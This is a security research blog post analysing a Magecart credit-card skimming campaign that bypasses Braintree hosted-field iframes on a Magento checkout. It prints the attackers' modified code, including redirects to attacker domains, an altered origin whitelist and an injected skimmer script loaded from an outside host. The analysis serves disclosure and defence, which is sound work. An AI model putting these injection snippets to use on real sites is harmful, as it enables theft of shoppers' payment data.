New Stealth Magecart Attack Bypasses Payment Services Using Iframes

Nytro · April 15, 2020

New Stealth Magecart Attack Bypasses Payment Services Using Iframes

by PerimeterX Research TeamApril 14, 2020

Share

Blog-magecart-stealth-attack_2x_dbmu9r.p

Using a PCI compliant payment service? Your buyers’ credit card information could still be stolen.

PCI compliant payment services hosted within an iframe are not immune from Magecart attacks. Website owners are still responsible for any stolen personally identifiable information (PII) or resulting fines. The PerimeterX research team has uncovered a novel technique for bypassing hosted fields iframe protection, which enables Magecart attackers to skim credit card data while allowing successful payment transactions. This stealthy attack technique gives no indication of compromise to the user or the website admin, enabling the skimming to persist on checkout pages for a long time. The users don’t suspect any malicious activity since the transaction succeeds as expected. In this blog post we examine an active use of this technique that targets websites using the popular payment provider Braintree, a subsidiary of PayPal.

Our research team has been actively tracking Inter, a popular digital skimming toolkit used to launch Magecart attacks. Inter is widely known for being sold as a complete digital skimming kit and its ability to easily adapt to many checkout pages on e-commerce sites.

Targeting Braintree Hosted Fields Iframe Protection

The common method for e-commerce businesses to achieve PCI DSS compliance is by outsourcing the payment process to a third party who is PCI DSS compliant. To achieve this, shops integrate hosted fields, which are third-party payment scripts within an iframe on the checkout page. The iframe which is sourced from the payment provider receives the credit card number, CVV and expiration date in a protected scope, in which the browser enforces a data access restriction as part of its Same Origin Policy (SOP) security mechanism. This is often thought to protect payment forms from Magecart and digital skimming attacks.

In order to get around this, Magecart attackers have been using toolkits such as Inter to modify checkout pages and replace the hosted fields with fake checkout forms that they control, from where they can skim credit card numbers. Although similar in look and feel to the real checkout forms, the fake ones do not allow a successful transaction, which can alert the paying customer and the site admin that something is wrong leading them to restore a clean version of the site and remove the infection. This limits the length of time the attack can go unnoticed.

This technique has been used for a while, but according to our contact and recent reports of such attacks, it has not been very successful. Users and admins can quickly detect the failed first attempt and the subtle GUI differences and then reload a clean version of the site. The Magecart group we are tracking has been focusing their efforts on breaking iframe protection on websites using popular payment services including Braintree, Worldpay and Stripe. And they have been successful in one instance with a website using Braintree.

Bypassing Braintree Iframe Protection

Our research led us to the digital skimming toolkit called Saturn, which is a package consisting of the skimmer and the command and control service. This toolkit was used to compromise the Braintree hosted fields payment form on a European e-commerce website.

Figure: Admin console for the Saturn toolkit

Braintree enables an online seller to achieve PCI DSS compliance under the SAQ A criteria, for “card-not-present merchants that have fully outsourced all cardholder data functions to PCI DSS validated third-party service providers, with no electronic storage, processing, or transmission of any cardholder data on the merchant’s systems or premises.” In order to achieve this, Braintree payment forms and scripts are loaded within an iframe on the payment page, so that the seller does not have any access to read, store or process the credit card information. The transaction payment information is tokenized between the shop and Braintree, while a nonce is set to allow future transactions.

Here is an explanation from Braintree’s Get Started guide.

Figure: Braintree payment processing flow

Figure: Braintree payment processing steps

The attacker modified the Braintree scripts on the e-commerce website and created the following multi-step attack resulting in injection of a skimmer script into the hosted iframe while still allowing the transaction to be successful.

Step 1: Compromising the Braintree scripts

After getting a foothold in the website, the attack starts with changing the Magento Braintree payment script to load the client script from the attacker domain. This seemingly supported change might have been due to an option in the Magento plugin to allow a first-party load of the script or for CDN purposes. The script will now load the modified JavaScript from braintreegateway24[.]com, a domain controlled by the attacker instead of braintreegateway[.]com which is the legitimate protected domain.

var config={map:{'*':{braintree:'https://braintreegateway24[.]com/js/braintree-2.32.min.js'}}};
require.config(config);})()

Step 2: Bypassing client-side validation

The original Braintree client script validates the origin where it was loaded from, but the attack bypasses this by adding its own domain to the regex and whitelist to the modified client script.

function(t, e, n) {
 "use strict";
 function i(t, e) {
   var n, i, r = document.createElement("a");
   return r.href = e,
          i = "https:" === r.protocol ? r.host.replace(/:443$/, "") :
               "http:" === r.protocol ? r.host.replace(/:80$/, "") : r.host,
          n = r.protocol + "//" + i,
          n === t || o.test(t)
 }
 var o = /^https:\/\/([a-zA-Z0-9-]+\.)*(braintreepayments|braintreegateway|paypal|braintreegateway24)\.[a-z]+(:\d{1,5})?$/;
 e.exports = {
   checkOrigin: i
 }
}

var u = t(15),
  l = document.createElement("a"),
  h = [
    "paypal.com",
    "braintreepayments.com",
    "braintreegateway.com",
    "braintreegateway24.tech",
    "braintreegateway24.com",
    "localhost",
  ];
e.exports = {
  isBrowserHttps: i,
  makeQueryString: r,
  decodeQueryString: s,
  getParams: a,
  isWhitelistedDomain: c,
};

To allow running a skimmer inside the hosted iframe, the script replaces the hosted field iframe’s address with the address of another attacker controlled domain.

(r = c({
  type: p,
  name: "braintree-hosted-field-" + p,
  style: h.defaultIFrameStyle,
})),
  this.injectedNodes.push(i(r, n)),
  this.setupLabelFocus(p, n),
  (m[p] = {
    frameElement: r,
    containerElement: n,
  }),
  g++,
  setTimeout(
    (function(e) {
      return function() {
        var loa = l(t.gatewayConfiguration.assetsUrl, t.channel);
        loa = loa.replace(
          "assets.braintreegateway.com/hosted-fields/2.25.0",
          "braintreegateway24.tech/hosted-fields/2.25"
        );
        e.src = loa;
      };
    })(r),
    0
  );

Step 3: Injecting the skimmer scrip

The attacker controlled client script injects a file named “helper.js”, which runs in the context of the checkout page which steals the user name, address, phone number, etc, but not the payment details which are only accessible from within the hosted iframes.

var s2 = document.createElement("script");
s2.setAttribute("src", "https://braintreegateway24.com/js/helper.js");
document
  .getElementsByTagName("head")
  .item(0)
  .appendChild(s2);

Step 4: Injecting the hosted iframe with skimmer script

Due to the change in step 2, the browser now loads the iframe from a domain the attacker controls. The attacker controlled iframe will load the Braintree credit card collector, along with an additional skimmer script in the same iframe context which will allow it to access the private details. This effectively bypasses the SOP protection the payment iframe would have solved.

Figure: Compromised Braintree skimmer script loaded on the web page

These 4 steps allow the attacker to steal all the needed payment details for online transactions, while still continuing the checkout flow and allowing the real transaction to be accepted on the first attempt. PayPal approves the transaction as it is not fraudulent even though the payment details were stolen in the process. The website admin and consumer will not be alerted in any way allowing the operation to stay undetected.

Figure: Order success page on an infected website indicating that the payment transaction was successful

PayPal’s Response

We disclosed this issue to Braintree and Paypal, as well as the infected website identified in this attack. PayPal’s team were quick to review the case and provide a response.

PayPal’s position is that this attack requires an XSS context already in place and that they cannot be responsible for the web application security of their customers’ websites. Their payment gateway still accepts transactions from the modified version of the script which also steals credit card numbers at the same time. Iframes do not protect the website in this scenario. Preventing digital skimming and Magecart attacks is ultimately the responsibility of the website owner.

We were unable to get a response from the infected site’s owners despite repeated requests to the website administrators and even their sales team.

Iframe Protection Cannot Stop Magecart Attacks

While iframe protection helps the site comply with PCI DSS standards, compliance does not equal security. In this case, the website doesn’t hold the credit card information, PayPal only approves legitimate transactions initiated by legitimate users and yet the credit card numbers and CVV were stolen.

The PCI Security Standards Council (PCI SSC) and the Retail and Hospitality ISAC issued a joint bulletin in August 2019 highlighting that digital skimming and Magecart attacks require urgent attention. “There are ways to prevent these difficult-to-detect attacks however. A defense-in-depth approach with ongoing commitment to security, especially by third-party partners, will help guard against becoming a victim of this [Magecart] threat.” - Troy Leach, Chief Technology Officer (CTO) of the PCI Security Standards Council.

Ultimately, e-commerce businesses are responsible for ensuring a safe and secure user experience for their customers. If credit card numbers are stolen from their website, it hurts their brand reputation and exposes them to liability and regulatory fines. As we have seen in this attack, iframes are not a foolproof solution for protection against the Magecart threat. Businesses must use client-side visibility solutions to detect such attacks and mitigate them quickly. For more updates on emerging Magecart attacks, subscribe to the PerimeterX blog.